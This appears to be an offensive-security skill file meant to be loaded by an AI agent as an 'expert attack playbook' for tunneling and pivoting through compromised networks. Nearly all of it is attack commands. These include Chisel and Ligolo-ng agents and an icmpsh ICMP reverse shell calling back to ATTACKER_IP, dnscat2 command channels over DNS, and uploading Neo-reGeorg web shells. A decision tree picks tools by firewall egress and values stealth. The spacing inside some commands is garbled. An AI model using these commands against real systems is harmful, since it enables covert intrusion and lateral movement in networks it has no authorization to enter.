SKILL: Tunneling & Pivoting — Expert Attack Playbook

AI LOAD INSTRUCTION

Expert tunneling and pivoting techniques. Covers SSH port forwarding (local/remote/dynamic/jump), Chisel reverse SOCKS, Ligolo-ng transparent TUN pivoting, socat relays, DNS/ICMP/HTTP tunneling, ProxyChains configuration, Windows pivoting (netsh/plink), and multi-layer chaining. Base models miss egress-aware tool selection and transparent routing setup. 0. RELATED ROUTING Before going deep, consider loading: network-protocol-attacks for network-level attacks from pivot positions reverse-shell-techniques for establishing initial access shells unauthorized-access-common-services for exploiting services discovered through pivots linux-privilege-escalation or windows-privilege-escalation after pivoting to new hosts 1. SSH TUNNELING Local Port Forward Forward a local port to a remote service through the pivot.

Access INTERNAL_HOST:3306 via localhost:3306

ssh -L 3306 :INTERNAL_HOST:3306 user@PIVOT -N

Access internal web app

ssh -L 8080 :10.10.10.100:80 user@PIVOT -N

Browse: http://localhost:8080

Bind to all interfaces (share with teammates)

ssh -L 0.0 .0.0:8080:INTERNAL:80 user@PIVOT -N Remote Port Forward Expose a local service to the pivot host's network.

Make attacker's port 8000 accessible on pivot as pivot:9000

ssh -R 9000 :127.0.0.1:8000 user@PIVOT -N

Expose attacker's listener to internal network

ssh -R 0.0 .0.0:4444:127.0.0.1:4444 user@PIVOT -N

Internal hosts connect to PIVOT:4444 → reaches attacker:4444

Dynamic Port Forward (SOCKS Proxy)

Create SOCKS4/5 proxy on localhost:1080

ssh -D 1080 user@PIVOT -N

Use with proxychains

echo "socks5 127.0.0.1 1080"

/etc/proxychains4.conf proxychains nmap -sT -Pn -p 80,443 ,445 INTERNAL_SUBNET/24

Or with browser SOCKS proxy → browse internal web apps

Jump Host (ProxyJump)

Single jump

ssh -J jumphost user@TARGET

Multiple jumps

ssh -J jump1,jump2 user@TARGET

SSH config for persistent jump

~/.ssh/config

Host internal-target HostName 10.10 .10.100 User admin ProxyJump user@jumphost.example.com 2. CHISEL Reverse SOCKS Proxy (Most Common)

Attacker: start chisel server

chisel server --reverse --port 8080

Victim: connect back as client, create reverse SOCKS

chisel client ATTACKER_IP:8080 R:socks

Result: SOCKS5 proxy on attacker's 127.0.0.1:1080

proxychains nmap -sT -Pn INTERNAL/24 Port Forwarding

Forward specific port

chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306

Multiple forwards

chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80

Reverse port forward (expose attacker service to victim network)

chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444 3. LIGOLO-NG TUN interface-based pivoting — transparent routing without SOCKS.

Attacker: start proxy

sudo ip tuntap add user $( whoami ) mode tun ligolo sudo ip link set ligolo up ligolo-proxy -selfcert -laddr 0.0 .0.0:11601

Agent (victim): connect to proxy

ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert

In ligolo-proxy console:

session

select agent session

ifconfig

view agent's network interfaces

start

start tunnel

Add routes on attacker to reach internal networks

sudo ip route add 10.10 .10.0/24 dev ligolo sudo ip route add 172.16 .0.0/16 dev ligolo Listener (Reverse Shell Catcher Through Pivot)

In ligolo-proxy console:

listener_add --addr 0.0 .0.0:4444 --to 127.0 .0.1:4444 --tcp

Internal hosts connecting to AGENT:4444 → forwarded to attacker:4444

Double Pivot

Agent 1 on DMZ → tunnel to internal network 1

Agent 2 on internal network 1 → tunnel to internal network 2

Add routes for both networks on attacker

sudo ip route add 10.0 .0.0/24 dev ligolo

via agent 1

sudo ip route add 172.16 .0.0/24 dev ligolo

via agent 2

1. SOCAT

TCP port forward

socat TCP-LISTEN:8080,fork TCP:INTERNAL:80

UDP relay

socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53

Encrypted tunnel

socat OPENSSL-LISTEN:443,cert

server.pem,verify

0 ,fork TCP:INTERNAL:80

File transfer via socat

Receiver:

socat TCP-LISTEN:9999,fork file:received_file,create

Sender:

socat TCP:RECEIVER:9999 file:send_file 5. PROXYCHAINS / PROXIFIER ProxyChains Configuration

/etc/proxychains4.conf

strict_chain # fail if any proxy is down

dynamic_chain # skip dead proxies

random_chain # randomize proxy order

[ ProxyList ] socks5 127.0.0.1 1080 # first hop (SSH dynamic forward) socks5 127.0.0.1 1081 # second hop (if chaining)

Usage

proxychains nmap -sT -Pn -p 22,80 ,445 10.10 .10.0/24 proxychains crackmapexec smb 10.10 .10.0/24 proxychains evil-winrm -i 10.10 .10.50 -u admin -p pass 6. WINDOWS PIVOTING Netsh Port Forwarding :: Forward port (requires admin) netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP :: List forwards netsh interface portproxy show all :: Remove netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 Plink (PuTTY CLI) :: Dynamic SOCKS (like ssh -D) plink.exe -ssh -D 1080 -N user@ATTACKER :: Remote port forward plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER :: Automated (non-interactive, accept host key) echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER 7. DNS TUNNELING

iodine — IP-over-DNS

Server (attacker, with NS record pointing to attacker):

iodined -f -c -P password 10.0 .0.1 t1.yourdomain.com

Client (victim):

iodine -f -P password t1.yourdomain.com

Creates dns0 interface → route traffic through it

dnscat2 — command channel over DNS

Server:

ruby dnscat2.rb yourdomain.com

Client:

./dnscat --dns = server = ATTACKER,port = 53 --secret = SHARED_SECRET 8. ICMP TUNNELING

icmpsh — ICMP reverse shell (no raw socket on victim needed for Windows)

Attacker:

sysctl -w net.ipv4.icmp_echo_ignore_all = 1 python3 icmpsh_m.py ATTACKER_IP VICTIM_IP

Victim (Windows):

icmpsh.exe -t ATTACKER_IP

ptunnel-ng — TCP-over-ICMP

Server:

ptunnel-ng -r INTERNAL_HOST -R 22

Client:

ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22 ssh -p 2222 user@127.0.0.1 9. HTTP TUNNELING

Neo-reGeorg — SOCKS proxy via web shell

Generate tunnel web shell:

python3 neoreg.py generate -k PASSWORD

Upload tunnel.php/aspx/jsp to target web server

Connect:

python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php

SOCKS proxy on 127.0.0.1:1080

Tunna — HTTP tunnel (alternative)

python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP 10. PIVOTING DECISION MATRIX Egress Allowed Tool Notes TCP outbound (any port) Chisel, Ligolo-ng, SSH Fastest setup TCP 80/443 only Chisel (HTTP/S), Neo-reGeorg Blend with web traffic DNS only (53/udp) iodine, dnscat2 Slow but stealthy ICMP only ptunnel-ng, icmpsh Very restricted environments No outbound Bind shell + port forward in Needs inbound access to pivot Web shell only Neo-reGeorg, Tunna When only HTTP file upload works 11. DECISION TREE Compromised host — need to reach internal network │ ├── Can install tools on pivot? │ ├── YES + outbound TCP allowed? │ │ ├── Need transparent routing? → Ligolo-ng (§3) │ │ ├── Need SOCKS proxy? → Chisel reverse SOCKS (§2) │ │ └── SSH available? → SSH dynamic forward (§1) │ │ │ ├── YES + only HTTP(S) outbound? │ │ ├── Chisel over HTTPS (§2) │ │ └── Upload web tunnel → Neo-reGeorg (§9) │ │ │ ├── YES + only DNS outbound? │ │ └── iodine or dnscat2 (§7) │ │ │ └── YES + only ICMP allowed? │ └── ptunnel-ng or icmpsh (§8) │ ├── Cannot install tools (web shell only)? │ └── Neo-reGeorg / Tunna via web shell (§9) │ ├── Windows pivot? │ ├── Admin access? → netsh portproxy (§6) │ ├── SSH client available? → ssh.exe (Windows 10+) (§1) │ └── Outbound SSH? → plink (§6) │ ├── Need multi-layer pivot? │ ├── Ligolo-ng: multiple agents + route stacking (§3) │ ├── SSH ProxyJump chaining (§1) │ └── ProxyChains with multiple SOCKS (§5) │ └── Teammate needs access too? ├── Bind SOCKS on 0.0.0.0 (ssh -L 0.0.0.0:...) └── Share Ligolo-ng routes via common proxy